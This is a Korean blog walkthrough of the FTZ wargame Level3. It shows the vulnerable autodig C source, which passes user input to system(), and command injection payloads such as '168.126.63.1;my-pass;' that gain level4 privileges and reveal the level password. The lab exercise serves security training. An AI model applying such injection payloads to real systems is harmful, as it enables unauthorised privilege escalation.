ftz.hackershool.org의 이미지를 사용하여 실습했습니다.
-Level3
level3 / can you fly?
[level3@ftz level3]$ ls -l
|
합계 12 -rw-r--r-- 1 root root 543 11월 26 2000 hint drwxr-xr-x 2 root level3 4096 2월 24 2002 public_html drwxrwxr-x 2 root level3 4096 1월 15 2009 tmp |
|
[level3@ftz level3]$ cat hint
|
다음 코드는 autodig의 소스이다. #include <stdio.h> #include <stdlib.h> #include <unistd.h> int main(int argc, char **argv){ char cmd[100]; if( argc!=2 ){ printf( "Auto Digger Version 0.9\n" ); printf( "Usage : %s host\n", argv[0] ); exit(0); } strcpy( cmd, "dig @" ); strcat( cmd, argv[1] ); strcat( cmd, " version.bind chaos txt"); system( cmd ); } 이를 이용하여 level4의 권한을 얻어라. more hints. - 동시에 여러 명령어를 사용하려면? - 문자열 형태로 명령어를 전달하려면?
|
|
> 2개의 매개변수를 받아야 하고
> system으로 실행되는 cmd는 dig @(arv[1]) version.bind chaos txt 이다.
> argv[1] 에 입력할 수 있는 것이 정해 져 있지 않기에 원하는 명령어를 추가하여 실행 할 수 있다.
level3@ftz level3]$ find / -name autodig 2>/dev/null
|
/bin/autodig |
|
[level3@ftz level3]$ ls -l /bin/autodig
|
-rwsr-x--- 1 level4 level3 12194 8월 19 2014 /bin/autodig |
|
> autodig을 찾아서 확인해보니 level4 권한을 가지는 setuid 로 설정되어있다. 소스코드는 hint 파일에서 확인을 했다.
[참고] dig 명령어
nslookup, hosts 명령어와 같은 기능을 가진다. ( nslookup이 거의 모든 운영체제에서 사용 가능 하기에 주로 사용해 왔다. )
사용 예
# dig @168.126.63.1 kornet.net ANY
# dig @168.126.63.1 example.com ANY
# dig @168.126.63.1 google.com ANY
# dig @168.126.63.1 kornet.net MX /* kornet.net. MX 10 mail.kornet.net */
# nslookup -q=MX kornet.net
# dig @168.126.63.1 kornet.net NS /* kornet.net. NS ns.kornet.net */
# nslookup -q=NS kornet.net
# dig @168.126.63.1 www.kornet.net A /* www.kornet.net A 211.216.50.150 */
# nslookup -q=A www.kornet.net
# dig @168.126.63.1 211.216.50.150 PTR /* 150 PTR ns.kornet.net */
# nslookup -q=PTR 211.216.50.150
# dig @168.126.63.1 version.bind chaos txt /* version.bind txt "hello" */
[level3@ftz level3]$ dig @168.126.63.1 version.bind chaos txt
|
; <<>> DiG 9.2.1 <<>> @168.126.63.1 version.bind chaos txt ;; global options: printcmd ;; Got answer: ;; ->>HEADER<<- opcode: QUERY, status: NOERROR, id: 22848 ;; flags: qr aa rd; QUERY: 1, ANSWER: 1, AUTHORITY: 1, ADDITIONAL: 0 ;; QUESTION SECTION: ;version.bind. CH TXT ;; ANSWER SECTION: version.bind. 0 CH TXT "Unknown" ;; AUTHORITY SECTION: version.bind. 0 CH NS version.bind. ;; Query time: 32 msec ;; SERVER: 168.126.63.1#53(168.126.63.1) ;; WHEN: Tue Nov 28 21:53:45 2017 ;; MSG SIZE rcvd: 64
|
|
> dig 명령어 확인
[level3@ftz level3]$ /bin/autodig 168.126.63.1
|
; <<>> DiG 9.2.1 <<>> @168.126.63.1 version.bind chaos txt ;; global options: printcmd ;; Got answer: ;; ->>HEADER<<- opcode: QUERY, status: NOERROR, id: 44102 ;; flags: qr aa rd; QUERY: 1, ANSWER: 1, AUTHORITY: 1, ADDITIONAL: 0 ;; QUESTION SECTION: ;version.bind. CH TXT ;; ANSWER SECTION: version.bind. 0 CH TXT "Unknown" ;; AUTHORITY SECTION: version.bind. 0 CH NS version.bind. ;; Query time: 36 msec ;; SERVER: 168.126.63.1#53(168.126.63.1) ;; WHEN: Tue Nov 28 21:56:59 2017 ;; MSG SIZE rcvd: 64
|
|
> 같다
[level3@ftz level3]$ dig "@168.126.63.1;id;"
|
dig: Couldn't find server '168.126.63.1;id;': Name or service not known |
|
> 실행이 안된다. ( 정상 )
|
; <<>> DiG 9.2.1 <<>> @168.126.63.1 ;; global options: printcmd ;; Got answer: ;; ->>HEADER<<- opcode: QUERY, status: NOERROR, id: 42882 ;; flags: qr rd ra; QUERY: 1, ANSWER: 13, AUTHORITY: 0, ADDITIONAL: 15 ;; QUESTION SECTION: ;. IN NS ;; ANSWER SECTION: . 385376 IN NS c.root-servers.net. . 385376 IN NS m.root-servers.net. . 385376 IN NS g.root-servers.net. . 385376 IN NS k.root-servers.net. . 385376 IN NS e.root-servers.net. . 385376 IN NS j.root-servers.net. . 385376 IN NS f.root-servers.net. . 385376 IN NS i.root-servers.net. . 385376 IN NS a.root-servers.net. . 385376 IN NS d.root-servers.net. . 385376 IN NS l.root-servers.net. . 385376 IN NS h.root-servers.net. . 385376 IN NS b.root-servers.net. ;; ADDITIONAL SECTION: a.root-servers.net. 471776 IN A 198.41.0.4 b.root-servers.net. 471790 IN A 199.9.14.201 c.root-servers.net. 474440 IN A 192.33.4.12 d.root-servers.net. 471792 IN A 199.7.91.13 e.root-servers.net. 473215 IN A 192.203.230.10 f.root-servers.net. 472063 IN A 192.5.5.241 g.root-servers.net. 473037 IN A 192.112.36.4 h.root-servers.net. 604357 IN A 198.97.190.53 i.root-servers.net. 473248 IN A 192.36.148.17 j.root-servers.net. 473189 IN A 192.58.128.30 k.root-servers.net. 473553 IN A 193.0.14.129 l.root-servers.net. 604356 IN A 199.7.83.42 m.root-servers.net. 472028 IN A 202.12.27.33 a.root-servers.net. 474729 IN AAAA 2001:503:ba3e::2:30 b.root-servers.net. 545431 IN AAAA 2001:500:200::b ;; Query time: 29 msec ;; SERVER: 168.126.63.1#53(168.126.63.1) ;; WHEN: Tue Nov 28 22:02:08 2017 ;; MSG SIZE rcvd: 492 uid=3004(level4) gid=3003(level3) groups=3003(level3) sh: line 1: version.bind: command not found |
|
> id 명령어가 실행 됬다. 게다가 level4 로
> bash를 입력하든 my-pass를 입력하든 암호를 바로 알아 낼 수 있다.
[level3@ftz level3]$ /bin/autodig "168.126.63.1;my-pass;"
|
Level4 Password is "suck my brain". sh: line 1: version.bind: command not found
|
|
> level4 의 암호를 알아 냈다.
'Security > 리버싱' 카테고리의 다른 글
Level4 문제해결 (0) | 2017.11.29 |
---|---|
(암기) backdoor 만들기 (0) | 2017.11.28 |
Level2 문제 분석/응용 (0) | 2017.11.28 |
Level2 문제 해결 (0) | 2017.11.28 |
level 1 문제 해결 ( /bin/ExecuteMe 해석 ) (0) | 2017.11.27 |